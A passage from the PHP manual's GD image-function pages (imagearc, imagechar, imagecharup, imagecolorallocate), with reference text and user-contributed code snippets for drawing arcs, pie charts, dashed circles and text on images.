imagestring($img, $font_number, $cx-(imagefontwidth($font_number)*strlen($string))/2, $cy-120, $string, $color);

header("Content-type: image/png");
imagepng($img);// output image in the browser

$filename="imagearc";
imagepng($img,"./frames/$filename.png",9); //make highly compressed png

imagedestroy($img);
?>
Michael 04-Mar-2011 02:56
Hi, this is a function that replaces "imagearc" to solve the thickness-problem. it does not use the global value set by imagesetthickness, so you have to pass it along.

"connecting" the arc to lines is still a problem, it sometimes shifts by 1px, but so does the original function.

Theres still alot to improve ...

<?php
function myimagearc($im,$mid_x,$mid_y,$rad,$w1,$w2,$col,$thickness){
        global $cols;
        $rad+=$thickness/2;    // to calculate outer edge
        $th_fact = 1-((($thickness-1)/$rad));

        $pts = 36*$rad;    // adjust density
        $fact = $pts/360;
        $w1 = $w1*$fact;
        $w2 = $w2*$fact;
        if($thickness > 2)    // to make sure we have neither gaps nor ugly looking artefacts
            imagesetthickness($handle,2);
        else
            imagesetthickness($handle,1);
        $winkel = (2*pi())/$pts;
        for($i=$w1+1;$i< $w2;$i++){
            $x = (cos($i*$winkel)*($rad));
            $y = (sin($i*$winkel)*($rad));
            $x1 = $x+$mid_x;
            $y1 = $y+$mid_y;
            $x2 = $th_fact*$x+$mid_x;
            $y2 = $th_fact*$y+$mid_y;
            imageline($im, $x1,$y1,$x2,$y2,$col);
        }
        imagesetthickness($handle,1); // just to reset
    }
?>
ajim1417 at gmail dot com 28-Jan-2010 07:42
I wrote a simple function that can draws an arc counter-clockwisekly. Here it is :

<?php

function imagearcCC(&$im, $cx, $cy, $w, $h, $s, $e, $c) {
$start = 360 - $e;
$end = 360 - $s;
return imagearc($im, $cx, $cy, $w, $h, $start, $end, $c);
}

?>

The params of this function is exactly the same as the usual imagearc function.
anton dot vandeghinste at telenet dot be 13-Dec-2009 07:27
I needed an arc with a thick border and i didn't like to use 359.9 as end angle so i made a function that works pretty well:

<?php
function imagearcthick($image, $x, $y, $w, $h, $s, $e, $color, $thick = 1)
{
    if($thick == 1)
    {
        return imagearc($image, $x, $y, $w, $h, $s, $e, $color);
    }
    for($i = 1;$i<($thick+1);$i++)
    {
        imagearc($image, $x, $y, $w-($i/5), $h-($i/5),$s,$e,$color);
        imagearc($image, $x, $y, $w+($i/5), $h+($i/5), $s, $e, $color);
    }
}
?>
mojiro at awmn dot net 13-Dec-2005 12:28
A previous for the Rotated (Filled)Ellipse note from(nojer2 at yahoo dot com, 02-Apr-2001 12:06) has a mistake, at the second arc. Replace them with the following listing.

if ($filled) {
    triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
} else {
    imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
}
ruturaj_v at yahoo dot com 17-May-2004 06:32
this is another piechart eg. very simple ...

<?php
global $deg;

function get_polar($xrel, $yrel, $ang, $radius) {
    $i = $ang;
    $ang = ($ang * pi())/ 180;

    $ix = abs($radius*cos($ang));
    $iy = abs($radius*sin($ang));

    if ($i>=0 && $i<=90) {
        $ix = $xrel + $ix;
        $iy = $yrel - $iy;
    }
    if ($i>90 && $i<=180) {
        $ix = $xrel - $ix;
        $iy = $yrel - $iy;
    }
    if ($i>180 && $i<=270) {
        $ix = $xrel - $ix;
        $iy = $yrel + $iy;
    }
    if ($i>270 && $i<=360) {
        $ix = $xrel + $ix;
        $iy = $yrel + $iy;
    }

    $ix = floor($ix);
    $iy = floor($iy);
    //echo ($ix . " $iy<br>");
    $returnvals = array (
                        'x1' => $xrel,
                        'y1' => $yrel,
                        'x2' => $ix,
                        'y2' => $iy
                        );
    return $returnvals;
}

function get_degtotal($degindex)
{
    global $deg;
    if ($degindex == 0 ) {
       return (  $deg[$degindex] );
    }
    else {
        return ( $deg[$degindex] + get_degtotal($degindex-1) );
    }
}

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$black   = imagecolorallocate ($im, 0, 0, 0);
$red = imagecolorallocate ($im, 255, 0, 0);
$green = imagecolorallocate ($im, 0, 180, 0);

$randcolor[0] = imagecolorallocate($im, 243, 54, 163);
$randcolor[1] = imagecolorallocate($im, 179, 51, 247);
$randcolor[2] = imagecolorallocate($im, 103, 48, 250);
$randcolor[3] = imagecolorallocate($im, 53, 145, 244);
$randcolor[4] = imagecolorallocate($im, 54, 243, 243);
$randcolor[5] = imagecolorallocate($im, 107, 245, 180);
$randcolor[6] = imagecolorallocate($im, 203, 242, 111);
$randcolor[7] = imagecolorallocate($im, 248, 201, 105);

$data[0] = 30;
$data[1] = 20;
$data[2] = 15;
$data[3] = 10;
$data[4] = 8;
$data[5] = 7;
$data[6] = 5;
$data[7] = 5;

$datasum = array_sum($data);

$deg[0] = number_format((30 / $datasum * 360), 2, ".", "");
$deg[1] = number_format((20 / $datasum * 360), 2, ".", "");
$deg[2] = number_format((15 / $datasum * 360), 2, ".", "");
$deg[3] = number_format((10 / $datasum * 360), 2, ".", "");
$deg[4] = number_format((8 / $datasum * 360), 2, ".", "");
$deg[5] = number_format((7 / $datasum * 360), 2, ".", "");
$deg[6] = number_format((5 / $datasum * 360), 2, ".", "");
$deg[7] = number_format((5 / $datasum * 360), 2, ".", "");
echo ('<pre>');

//print_r($deg);

$datadeg = array();
$datapol = array();
$degbetween = array();
$databetweenpol = array();

for ($i=0; $i < count($deg) ; $i++) {
    $datadeg[$i] = get_degtotal($i);
    $datapol[$i] = get_polar(200, 200, $datadeg[$i], 100);
}

for ($i=0; $i < count($datadeg) ; $i++) {
    /*this is a trick where you take 2deg angle before
    and get the smaller radius so that you can have a pt to
    `imagefill` the chartboundary
    */
    $degbetween[$i] = ($datadeg[$i]-2);
    $databetweenpol[$i] = get_polar(200, 200, $degbetween[$i], 50);
}

print_r($datadeg);
print_r($degbetween);
print_r($databetweenpol);
//exit;

for ($i=0; $i<count($deg); $i++) {
    imageline ($im, 200, 200, $datapol[$i]['x2'], $datapol[$i]['y2'], $black);
}
imagearc($im, 200, 200, 200, 200, 0, 360, $black);

for ($i=0; $i<count($deg); $i++) {
    imagefill ($im, $databetweenpol[$i]['x2'], $databetweenpol[$i]['y2'], $randcolor[$i]);

}

//header ("Content-type: image/png");
imagepng($im, 'piechart.png');
?>
<img src='piechart.png'>
jerryscript at aol dot com 26-Dec-2003 02:05
[note-Apache/1.3.29 (Win32) PHP/4.3.4]

The imagearc (and imageellipse) functions do not accept line thicknesses when drawn from 0 to 360 degrees.

Drawing from 0 to 359 and again from 359 to 360 does create an ellipse with the current line thickness.

Jerry
eamon at hostelworld dot com 17-Dec-2003 07:24
Right...
possibly the easiest way of drawing a filled circle:
Loop through the imagearc function incrementing the diameter by one pixel:
<?
 // --- code fragment --- //

for($i=1; $i<$Diameter; $i++){
  imagearc($Image, $CenterX, $CenterY, $i, $i, $Start, $End, $Color);
}

// --------------------- //

?>

This works great for circles with diameters up to about 60 or 70 pixels wide. After that, you start to get pixle gaps.
logang at deltatee dot com 04-Aug-2003 08:19
Heres a function to make a curve between two points... This will be a downward curve but it wouldn't be hard to make a similar function to make an upward curve. The first point has to be to the left of the second point ($x1 < $x2), and height is actually backwards. The larger height is the less of a crest the curve has. I imagine with a few modifications this functions could make upward curves as well.

function ImageCurveDown ($image, $x1, $y1, $x2, $y2, $height, $color) {
    $presicion = 1;

    for ($left = ($x1-$x2); $left < 0; $left++){
        if ($y1 < $y2) {
            $cy = $y2 + $height;
            $cx = $x1 - $left;
        } else {
            $cy = $y1 + $height;
            $cx = $x2 + $left;
        }
        $nx1 = abs($x1 - $cx);
        $ny1 = abs($y1 - $cy);
        $nx2 = abs($x2 - $cx);
        $ny2 = abs($y2 - $cy);

        if ($y1 < $y2) {
            if ($nx2 == 0 || $ny1 == 0) continue;
            $angle1 = atan($height/$nx2);
            $A1 = $nx2/cos ($angle1);
            $B1 = $ny2/sin ($angle1);
            $angle2 = pi()/2 +atan($left/$ny1);
            $A2 = $nx1/cos ($angle2);
            $B2 = $ny1/sin ($angle2);
        } else {
            if ($ny2 == 0 || $nx1 == 0) continue;
            $angle1 = atan($ny2/$nx2);
            $A1 = abs($nx2/cos ($angle1));
            $B1 = abs($ny2/sin ($angle1));
            $angle2 = atan($height/$nx1);
            $A2 = abs ($nx1/cos ($angle2));
            $B2 = abs($ny1/sin ($angle2));
        }

        if (abs($A1 - $A2) < $presicion && abs ($B1 - $B2) < $presicion) {
            ImageArc($image, $cx, $cy, $A1*2, $B1*2, 180+rad2deg($angle2), 360-rad2deg($angle1), $color);
        }
    }
}
23-Jan-2003 08:55
Please note that in order to draw a complete circle or ellipse (without using the imageellipse) you mustn't use 0� for both s and e. If you do this you will get, umm, nothing. Instead set s to 0� and e to 360� to get a complete circle or ellipse.
jinny at 263 dot net 13-May-2002 10:27
imagesetstyle() sets the style to be used by all line drawing functions when drawing with the special color .

Here goes a example of drawing a dashed-line circle.enjoy!

<?php

header("Content-type: image/jpeg");
$im = imagecreate(100,100);

$b   = imagecolorallocate ($im, 0, 0, 0);
$w   = imagecolorallocate ($im, 255, 255, 255);

$style = array ($b,$b,$b,$b,$b,$w,$w,$w,$w,$w);

imagesetstyle ($im, $style);

imagearc($im,50,50,100,100,0,360,IMG_COLOR_STYLED);

imagejpeg($im);
imagedestroy($im);
?>
arve at skogvold dot as 30-Nov-2001 01:04
I found a better way for drawing a pie chart:

header ("Content-type: image/png");
$diameter = 100;
$radius = $diameter / 2;
$centerX = $radius;
$centerY = $radius;

$im = @ImageCreate ($diameter, $diameter)
    or die ("Cannot Initialize new GD image stream");

$background = ImageColorAllocate ($im, 0, 0, 0);
$red = ImageColorAllocate ($im, 176, 0, 0);

function fill_arc($start, $end, $color) {
    global $diameter, $centerX, $centerY, $im, $radius;
    imagearc($im, $centerX, $centerY, $diameter, $diameter, $start, $end, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($start)) * $radius, $centerY + sin(deg2rad($start)) * $radius, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($end)) * $radius, $centerY + sin(deg2rad($end)) * $radius, $color);
    imagefill ($im,$centerX + $radius * 0.5 *cos(deg2rad($start+($end-$start)/2)), $centerY + $radius * 0.5 * sin(deg2rad($start+($end-$start)/2)), $color);
    }

fill_arc(0,30,$red);
// Will make a red filled arc, starting at 0 degrees, ending at 30 degrees

ImagePng ($im);
marc at resiteit dot com 08-Nov-2001 01:04
Round cornered anti-aliased dynamically sized button.

$w=40;
$h=20;
$im = ImageCreate($w,$h);
$white=ImageColorAllocate($im,255,255,255);
ImageFilledRectangle($im,0,0,$w,$h,$white);
imagecolortransparent ($im, $white);
ImageTTFText ($im, $h+ceil($h/3)+1, 0, -1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, 1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h-2, $h-1, $col1, "arialbd.ttf", "O");
$points=array(
    1,round($h/2),
    round($h/4),$h-round($h/4),
    round($h/2),$h,
    $w-(round($h/2)),$h,
    $w-(round($h/4)),$h-round($h/4),
    $w-2,round($h/2),
    $w-round($h/4),round($h/4),
    $w-round($h/2),0,
    round($h/2),0,
    round($h/4),round($h/4)
);
imagefilledpolygon ($im, $points, 10, $col1);

header("content-type: image/gif");
header("Content-Disposition: filename=name.gif");
ImageGif($im);
ImageDestroy($im);
foripepe at yahoo dot com 02-Sep-2001 09:56
To fill an arc (DiameterX != DiameterY):

<?
function imagefilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    // To fill the arc, the starting point is a point in the middle of the closed space
    $x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($DiameterX/4));
    $y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($DiameterY/4));
    imagefilltoborder($Image, $x, $y, $Color, $Color);
}
?>

To close the arc with 2 lines (DiameterX != DiameterY):

<?
function imagenofilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
}
?>

An example:
<?
    $destImage = imagecreate( 216, 152 );
    $c0 = imagecolorallocate( $destImage, 0, 255, 255 );
    $c1 = imagecolorallocate( $destImage, 0, 0, 0 );
    $c2 = imagecolorallocate( $destImage, 255, 0, 0 );
    ImageFilledRectangle ( $destImage, 0, 0, 216, 152, $c0 );
    imagefilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c1 );
    imagenofilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c2 );
    header("content-type: image/PNG");
    ImagePNG( $destImage );
    ImageDestroy( $destImage );
?>
08-Apr-2001 10:37
The following site contains heaps of different functions to draw graphs with easy to follow code for newbies and heaps of examples with OVER 60 different predefined graphs
http://www.aditus.nu/jpgraph/index.php
nojer2 at yahoo dot com 01-Apr-2001 02:18
Here's a dashed circle function:

<?php
function dashedcircle($im, $cx, $cy, $radius, $colour, $dashsize=5) {

   $dash=false;
   for ($angle=0; $angle<=(180+$dashsize); $angle+=$dashsize) {
      $x = ($radius * cos(deg2rad($angle)));
      $y = ($radius * sin(deg2rad($angle)));

      if ($dash) {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $dash=!$dash;
      $px=$x;
      $py=$y;
   }
}
?>
nojer2 at yahoo dot com 01-Apr-2001 02:06
Here's the function to draw rotated ellipses again. This time I've optimised it a bit, fixed the no-fill bug, and used a 'squishratio' rather than a 'radiusmodifier', to make the curves perfect, so ignore my previous version.

<?php
function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   $step=2;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x =  + (($ox * $cosangle) - ($oy * $sinangle));
      $y = $centrey + (($ox * $sinangle) + ($oy * $cosangle));

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($im, $cx, $cy, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}
?>
ericquil at yahoo dot com 29-Sep-2000 04:30
If circles overlap, a temporary border is needed when filling:
<?php
ImageArc ($im,$x,$y,$w,$h,0,360,$temp_color);
ImageFillToBorder($im,$x,$y,$temp_color,$fill_color);
ImageArc ($im,$x,$y,$w,$h,0,360,$fill_color);
?>
cbriou at orange-art dot fr 17-Sep-2000 07:03
There is another way to fill an arc :

<?php
// To draw the arc
$Color = imagecolorallocate($Image, $Red, $Green, $Blue);
imagearc($Image, $CenterX, $CenterY, $Diameter, $Diameter, $Start, $End, $Color);
// To close the arc with 2 lines between the center and the 2 limits of the arc
$x = $CenterX + (cos(deg2rad($Start))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($Start))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
$x = $CenterX + (cos(deg2rad($End))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($End))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
// To fill the arc, the starting point is a point in the middle of the closed space
$x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($Diameter/4));
$y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($Diameter/4));
imagefilltoborder($Image, $x, $y, $Color, $Color);
?>
timothyhouck at yahoo dot com 16-Aug-2000 03:58
To do filled arcs, try something like this:

<?php
$diameter = 50;
imagearc($image, 25, 25, $diameter, $diameter, $start, $end, $color);
while($diameter > 0) {
  imagearc($image, 25, 25, $diameter, $diameter, $start, $start + 1, $color);
  imagearc($image, 25, 25, $diameter, $diameter, $end - 1, $end, $color);
  $diameter--;
}
?>

...well you get the point.  It's a kludge, and *very* slow, but it's free.
travis at duluth dot com 22-Dec-1999 06:36
The wierd thing is that the first two integers tell where to place the "circle".
So for example I first create the "pallet" to place the circle on.
$image = imagecreate(500, 500);
(this makes a huge 500x500 gif :) )
$colorBody = imagecolorallocate($image, 0, 0, 0);
(make the default color of the "pallet" black
$circleColor = imagecolorallocate($image, 255, 0, 255);
(going to make the circle an ugly pink color)
imagearc($image, 250, 250, 300, 300, 0, 360, $circleColor);
Places the image in the center (250,250) and the circle is 300 pixels in diameter.

Hope this helps.

Travis Kent Beste
imageantialias
imagechar
GD and Image Functions


Draw a character horizontally

imagearc
imagecharup
GD and Image Functions
PHP Manual

imagechar

(PHP 4, PHP 5)

imagechar — Draw a character horizontally

Description

bool imagechar ( resource $image , int $font , int $x , int $y , string $c , int $color )

imagechar() draws the first character of c in the image identified by image with its upper-left at x,y (top left is 0, 0) with the color color.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the start.

y

y-coordinate of the start.

c

The character to draw.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagechar() example

<?php

$im = imagecreate(100, 100);

$string = 'PHP';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// prints a black "P" in the top left corner
imagechar($im, 1, 0, 0, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

The above example will output something similar to:

Output of example : imagechar()

See Also

  • imagecharup() - Draw a character vertically
  • imageloadfont() - Load a new font

User Contributed Notes

liam dot wiltshire at lineone dot net 29-Mar-2009 03:11
A quick function to automatically generate a multi line image from a string, with the image size automatically calculated from the string itself.

<?php

function multilineimage($string){

    // Probably not the best way of handling newlines, but bar OS9, doesn't really cause a problem
    $string = str_replace("\r","",$string);
    $string = explode("\n",$string);

    $maxlen = 0;
    foreach ($string as $str){
        if (strlen($str) > $maxlen){
            $maxlen = strlen($str);
        }
    }

    // Set font size
    $font_size = 4;

    // Create image width dependant on width of the string
    $width  = imagefontwidth($font_size)*$maxlen;
    // Set height to that of the font
    $height = imagefontheight($font_size) * count($string);
    // Create the image pallette
    $img = imagecreate($width,$height);
    // Grey background
    $bg    = imagecolorallocate($img, 205, 255, 255);
    // White font color
    $color = imagecolorallocate($img, 0, 0, 0);

    $ypos = 0;

    foreach ($string as $str){

        $len = strlen($str);
        for($i=0;$i<$len;$i++){
            // Position of the character horizontally
            $xpos = $i * imagefontwidth($font_size);
            // Draw character
            imagechar($img, $font_size, $xpos, $ypos, $str, $color);
            // Remove character from string
            $str = substr($str, 1);
        }
        $ypos = $ypos + imagefontheight($font_size);
    }

    // Return the image
    header("Content-Type: image/gif");
    imagegif($img);
    // Remove image
    imagedestroy($img);
}

multilineimage("This is an image
This is line 2\nLine 3
Line 4");

?>
sw at profilschmiede dot de 20-Jun-2005 08:35
For the sake of completeness, here is an example for imagechar.
The base-image automatically adjusts to the size and the height of the given string. Using the rand()-function the y-position of each char is slightly varied with every loop-run. You can easily rewrite the script to use a randomly generated string - the one given here just serves as an example.

<?php

$string = '1 2 3 4 5 6 7 8 9 A B C D E F G';
$font_size = 5;
$width=imagefontwidth($font_size)*strlen($string);
$height=imagefontheight($font_size)*2;
$img = imagecreate($width,$height);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);
$len=strlen($string);

for($i=0;$i<$len;$i++)
{
    $xpos=$i*imagefontwidth($font_size);
    $ypos=rand(0,imagefontheight($font_size));
    imagechar($img,$font_size,$xpos,$ypos,$string,$black);
    $string = substr($string,1);

}
header("Content-Type: image/gif");
imagegif($img);
imagedestroy($img);
?>
imagearc
imagecharup
GD and Image Functions


Draw a character vertically

imagechar
imagecolorallocate
GD and Image Functions
PHP Manual

imagecharup

(PHP 4, PHP 5)

imagecharup — Draw a character vertically

Description

bool imagecharup ( resource $image , int $font , int $x , int $y , string $c , int $color )

Draws the character c vertically at the specified coordinate on the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the start.

y

y-coordinate of the start.

c

The character to draw.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagecharup() example

<?php

$im = imagecreate(100, 100);

$string = 'Note that the first letter is a N';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// prints a black "Z" on a white background
imagecharup($im, 3, 10, 10, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

The above example will output something similar to:

Output of example : imagecharup()

See Also

  • imagechar() - Draw a character horizontally
  • imageloadfont() - Load a new font

User Contributed Notes

evolution at turkishboyz dot net 26-Feb-2006 02:33
<?
$resim = imagecreatetruecolor(400,400);
$renk1 = imagecolorallocate($resim,222,222,222);
$renk2 = imagecolorallocate($resim,111,111,111);
$renk3 = imagecolorallocate($resim,123,123,123);
$yazi  = "Merhaba Dunyalilar";
$x     =strlen($yazi);
for($a=1;$a<=$x;$a++){
    imagecharup($resim,10,20,20*$a,$yazi,$renk2);
    $yazi = substr($yazi,1);
    }
imagejpeg($resim);
imagedestroy($resim);
?>
jansafar at volny dot cz 02-Dec-2005 10:18
I'm using imagestringup() function to write text upwards.
php at corzoogle dot com 16-Jun-2005 04:28
<?php
// incredibly, no one has added this.
// write a string of text vertically on an image..
// ;o)

$string = '(c) corz.org';
$font_size = 2;
$img = imagecreate(20,90);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);

$len = strlen($string);
for ($i=1; $i<=$len; $i++) {
    imagecharup($img, $font_size, 5, imagesy($img)-($i*imagefontwidth($font_size)), $string, $black);
    $string = substr($string,1);
}
header('Content-type: image/png');
imagepng($img);
imagedestroy($img); // dudes! don't forget this!
?>
imagechar
imagecolorallocate
GD and Image Functions


Allocate a color for an image

imagecharup
imagecolorallocatealpha
GD and Image Functions
PHP Manual

imagecolorallocate

(PHP 4, PHP 5)

imagecolorallocate — Allocate a color for an image

Description

int imagecolorallocate ( resource $image , int $red , int $green , int $blue )

Returns a color identifier representing the color composed of the given RGB components.

imagecolorallocate() must be called to create each color that is to be used in the image represented by image.

Note:

The first call to imagecolorallocate() fills the background color in palette-based images - images created using imagecreate().

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

A color identifier or FALSE if the allocation failed.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
Prior to 5.1.3 | Returns -1 if the allocation failed.

Examples

Example #1 imagecolorallocate() example

<?php

$im = imagecreate(100, 100);

// sets background to red
$background = imagecolorallocate($im, 255, 0, 0);

// sets some colors
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// hexadecimal way
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

?>

See Also

  • imagecolorallocatealpha() - Allocate a color for an image
  • imagecolordeallocate() - De-allocate a color for an image

User Contributed Notes

phillip dot gooch at gmail dot com 08-Dec-2010 07:52
If you even in a situation where it's not allocating the color you want it could be because of your images color allocation table. GIF and 8-bit PNG images are very susceptible to this.

If your using an GIF and PNG try dropping a color from the table, should let you allocate another.
oni-kun[at]oni-kun[dot]com 07-Aug-2010 11:57
If you're uncomfortable with using RGB codes you can bypass this function completely by assigning the hex values directly, two example replacements are:

<?php
//Equivalents
$white = imagecolorallocate($im, 255, 255, 255);
$white = 0x00FFFFFF; //First two are alpha, then triplet

$grey = imagecolorallocate($im, 62, 62, 62);
$grey = 0x003E3E3E;
?>

This should work in all applications, as it seems that is all the function returns.
yettycz at gmail dot com 16-Mar-2010 10:27
Two useful functions for convert integer from imageCollorAllocate to RGB hex (FFFFFF eg.) and to array of integers 0..255:

<?php
/**
 * Convert color from imageColorAllocate() to hex in XXXXXX (eg. FFFFFF, 000000, FF0000)
 *
 * name: color2rgb
 * author: Yetty
 * @param $color value from imageColorAllocate()
 * @return string; color in style XXXXXX (eg. FFFFFF, 000000, FF0000)
 */
function color2rgb($color) {
    return str_pad(base_convert($color, 10, 16), 6, 0, STR_PAD_LEFT);
}

/**
 * Convert color from hex in XXXXXX (eg. FFFFFF, 000000, FF0000) to array(R, G, B)
 * of integers (0-255).
 *
 * name: rgb2array
 * author: Yetty
 * @param $color hex in XXXXXX (eg. FFFFFF, 000000, FF0000)
 * @return string; array(R, G, B) of integers (0-255)
 */
function rgb2array($rgb) {
    return array(
        base_convert(substr($rgb, 0, 2), 16, 10),
        base_convert(substr($rgb, 2, 2), 16, 10),
        base_convert(substr($rgb, 4, 2), 16, 10),
    );
}
?>
jahservant 13 at gmail dot com 24-Nov-2009 04:55
Note that you can only assign 255 colors to any image palette.  If you try assigning more, imagecolorallocate() will fail.

If, for example, you are randomly allocating colors, it will be wise to check if you have used up all of the colors possible.  You can use imagecolorclosest() to get the closest assigned color:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //test if we have used up palette
     if(imagecolorstotal($pic)>=255) {
          //palette used up; pick closest assigned color
          $color = imagecolorclosest($pic, $c1, $c2, $c3);
     } else {
          //palette NOT used up; assign new color
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

Also, imagecolorallocate() will assign a new color EVERY time the function is called, even if the color already exists in the palette:
<?php
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 5
     imagecolorallocate($pic,125,125,125); //returns 6
     imagecolorallocate($pic,125,125,125); //returns 7
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 23
     imagecolorallocate($pic,125,125,125); //returns 25
     // [...]
     // etc...
?>

So here, imagecolorexact() is useful:
<?php
     //see if color already exists
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist; allocate a new one
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

And, for nerdy-ness sake, we can put the two ideas together:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //get color from palette
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist...
          //test if we have used up palette
          if(imagecolorstotal($pic)>=255) {
               //palette used up; pick closest assigned color
               $color = imagecolorclosest($pic, $c1, $c2, $c3);
          } else {
               //palette NOT used up; assign new color
               $color = imagecolorallocate($pic, $c1, $c2, $c3);
          }
     }
?>

Or as a function:
<?php
     function createcolor($pic,$c1,$c2,$c3) {
          //get color from palette
          $color = imagecolorexact($pic, $c1, $c2, $c3);
          if($color==-1) {
               //color does not exist...
               //test if we have used up palette
               if(imagecolorstotal($pic)>=255) {
                    //palette used up; pick closest assigned color
                    $color = imagecolorclosest($pic, $c1, $c2, $c3);
               } else {
                    //palette NOT used up; assign new color
                    $color = imagecolorallocate($pic, $c1, $c2, $c3);
               }
          }
          return $color;
     }

     for($i=0; $i<1000; $i++) { //1000 because it is significantly greater than 255
          //assign random rgb values
          $c1 = mt_rand(50,200); //r(ed)
          $c2 = mt_rand(50,200); //g(reen)
          $c3 = mt_rand(50,200); //b(lue)
          //generate the color
          $color = createcolor($pic,$c1,$c2,$c3);
          //do something with color...
     }
?>
shinesoldier at gmail dot com 06-May-2009 04:16
